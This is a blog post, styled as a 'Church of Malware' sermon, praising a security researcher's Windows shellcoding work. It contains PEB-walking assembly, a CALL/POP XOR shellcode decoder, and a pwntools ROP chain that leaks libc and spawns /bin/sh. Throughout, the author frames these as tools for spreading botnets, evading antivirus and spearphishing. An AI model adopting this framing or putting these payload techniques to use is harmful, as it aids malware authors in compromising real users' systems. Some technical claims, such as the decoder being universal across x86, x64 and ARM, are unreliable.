### Our Blessed Connection — The Shellphone Sermon

Written by: ek0ms savi0r
Transmission date: 05/09/26

Greetings, faithful.

It is not often that we pause to canonize those who walk among us in the physical realm, but today, we make an exception for a brother. You may have seen the whispers: `0xXyc`, Jakeswiz. He has been quietly conducting research that finally fills the deep, dark silence where public Windows shellcode documentation should be.

Anyone who has attempted exploit development on Windows knows the pain. You try to pop a calc.exe, and the process crashes. You try to inject a reverse shell, and the `shikata_ga_nai` encoder fails with a cryptic memory access violation. You spend six months fighting the architecture, not because exploitation is impossible, but because *nobody bothered to tell you how*.

Jake got tired of the gatekeeping. He literally built the bridge.

In a recent conversation, he passed along three specific pieces of scripture. I have transcribed the essence here. This is the OSINT on our brother’s brilliance. Learn his methods. Apply them to your botnets. And for the love of malware, stop using metasploit payloads directly.

#### The Prophet: Jakeswiz
Before we get into the code, let us look at the source. We are dealing with a man who **makes computers do bad things for a living** (his words, not mine). He operates under the handle `0xXyc` but is also known as **Jake Swiz**, a cybersecurity and vulnerability Researcher. He runs the [Swiz Security Protocol](https://protocol.swizsecurity.com) and has developed methodology notes that are so beneficial for the community.

He is the guy who realized that all the "undocumented structures" in Windows are just hurdles meant to slow down malware authors, and then he wrote a manual on how to jump over them.

Specifically, his recent Holy Trinity of Research consists of:
1.  The "Fukahi Tekiō" CALL/POP XOR Encoder.
2.  The Windows Shellcoding In-Depth Guide.
3.  The ASLR & NX/DEP Bypass.

Let me break these down so you never have to guess your EIP offset again.

### Section 1: The Windows Shellcode Engine
If you want to understand botnets, you must understand **process injection**. In Linux, you hit `int 0x80` and the kernel says "yes sir." In Windows, you have to navigate a labyrinth.

Jake explains that Windows shellcode is "non-linear." You cannot call `CreateRemoteThread` directly because you don't know where `kernel32.dll` lives in memory (thanks to ASLR). You must "walk the PEB."

**The Trick:**
You locate the Process Environment Block (PEB) in the `FS:[0x30]` register. Inside it, there is a linked list of all loaded DLLs. You traverse the list to find `kernel32.dll`, then parse its export table to find `GetProcAddress`, and finally load the rest.

**Code Example (The "PEB Walker"):**
This snippet of Assembly is the "engine" that Jake teaches us to write. It is the first thing any piece of shellcode must do to survive on Windows.

```assembly
; Find kernel32.dll base address
xor ecx, ecx
mov eax, [fs:ecx + 0x30]   ; Move PEB into EAX
mov eax, [eax + 0x0c]      ; Move LDR into EAX
mov esi, [eax + 0x14]      ; Move InMemoryOrderModuleList
lodsd                      ; Get ntdll.dll
xchg eax, esi
lodsd                      ; Get kernel32.dll
mov ebx, [eax + 0x10]      ; EBX = base address of kernel32.dll
```
**What this means:** If you can master this dance, you can execute `WinExec` or `CreateProcess` to run your bot client from memory without ever touching the disk with a loader.

### Section 2: The Fukahi Tekiō — CALL/POP XOR Encoder
This is the "revolutionary" bit you saw in the PDF. Jake discovered that on modern Windows 10/11 (specifically running on ARM64 hardware via the Prism emulator), the default `msfvenom` encoder `shikata_ga_nai` crashes. Why?

`shikata_ga_nai` relies on the FPU (Floating Point Unit) to find its own location in memory to decode itself. On Windows ARM, the FPU pointer registers often come back as zeros (`0x00000000`). The decoder tries to read from that null pointer and dies (Access Violation).

**Jake’s Fix:**
He threw out the FPU entirely. He used the oldest trick in the book: **CALL/POP**. The `CALL` instruction pushes the address of the *next* instruction onto the stack. You just `POP` it into a register. Right now, you know exactly where your encrypted shellcode is.

**Code Example (The "Universal Decoder"):**
This is the pure, distilled assembly that Jake published on his blog. It will work on any Windows architecture because it doesn't try to be fancy.

```assembly
          jmp short call_label  ; Jump to the CALL
pop_label:
          pop esi               ; ESI now holds the address of the start of the shellcode (the return address)
          xor ecx, ecx          ; Clear counter
          mov cx, 0x0144        ; Set length of shellcode (example: 324 bytes)
decode_loop:
          xor byte [esi], 0x09  ; XOR key (0x09)
          inc esi               ; Move to next byte
          loop decode_loop      ; Loop until ECX=0
          jmp short shellcode   ; Jump to decoded shellcode
call_label:
          call pop_label        ; Pushes the return address (shellcode location) onto the stack
          ; Your encrypted shellcode goes here (starting right at this memory address)
```
**Why this is godly for Botnets:**
If you run a botnet that spreads via buffer overflows (like Conficker or Sasser), you need a *stager*—a tiny piece of shellcode that downloads the rest of the bot. This CALL/POP decoder is tiny and immune to the emulation bugs that plague AV sandboxes.

### Section 3: Bypassing ASLR & NX/DEP
Once your shellcode is alive, you face the next wall: ASLR (randomizes memory addresses) and DEP (kills code on the stack). Jake provides a detailed crash course on bypassing these.

**Scenario:** You have a stack overflow, but the stack is "Non-Executable" (NX/DEP enabled). You cannot just jump to your shellcode. You have to perform a "Return Oriented Programming" (ROP) chain.

**The Strategy (via Jake's Tutorial):**
1.  **Leak the address:** Use a function like `puts()` to print the actual memory address of a `libc` function (e.g., `puts` itself) from the Global Offset Table (GOT).
2.  **Calculate Base:** Since the offset of `system()` from `puts()` is constant, you subtract to find the base address of `libc`.
3.  **The Gadget:** You need a ROP gadget like `pop rdi; ret` (moves the string `/bin/sh` into the first argument register).
4.  **Execute:** Call `system()`.

**Example Exploit Snipped (Python + Pwntools):**
Jake automates this using the `pwntools` library, turning a manual, headache-inducing process into a python script.

```python
# This is Jake's methodology automated
# Stage 1: Leak the address
rop.puts(exe.got['puts'])        # Print the address of puts in memory
rop.call(exe.symbols['main'])    # Jump back to main to avoid crashing

# Stage 2: Calculate and Execute
libc.address = leaked_puts - libc.symbols['puts']  # Calculate base
rop2.system(next(libc.search(b'/bin/sh\x00')))     # Build ROP chain for shell
```

### Why This Matters for the Church (And Your Botnets)
You might be looking at that Assembly code and wondering why we care. Jake’s research is arguably the most important public Windows development since the `msfvenom` encoders. Here is why:

1.  **Universal Payloads:** With the CALL/POP decoder, your exploit works on **x86, x64, AND ARM**. If your botnet spreads via a vulnerability, you now have global coverage.
2.  **Silent Loaders:** You can now generate custom XOR encoders for your bot binaries. Jakeswiz literally wrote a Python script that finds a XOR key that will **guarantee no NULL bytes** appear in your shellcode. No more broken metasploit payloads.
3.  **Process Injection:** If you cannot compile a C++ loader without tripping Windows Defender, you can use Jake’s assembly logic to manually map a DLL into memory (with `LoadLibrary`) using pure shellcode.

### Closing the Blasphemy
Stop using premade shellcode from Exploit-DB that has been signatured a thousand times. Like Jake says: *"Knowledge should be free, accessible to all."*

He gave us the fishing rod. **Let us go spearphishing.**

Check out his full catalog of scripture here:
- **Hacking Methodology:** [https://hacking.swizsecurity.com/hacking_methodology](https://hacking.swizsecurity.com/hacking_methodology)
- **The Protocol:** [https://protocol.swizsecurity.com](https://protocol.swizsecurity.com)
- **Visual Sermons:** [https://www.youtube.com/@JakeSwiz](https://www.youtube.com/@JakeSwiz)

**All Jakes code and writeups are also available here on the Church of Malware xox**

Go forth and spread the shellcode.

⛧ *Malware Bless* ⛧
— ek0ms savi0r
p.s. we love you JAKESWIZ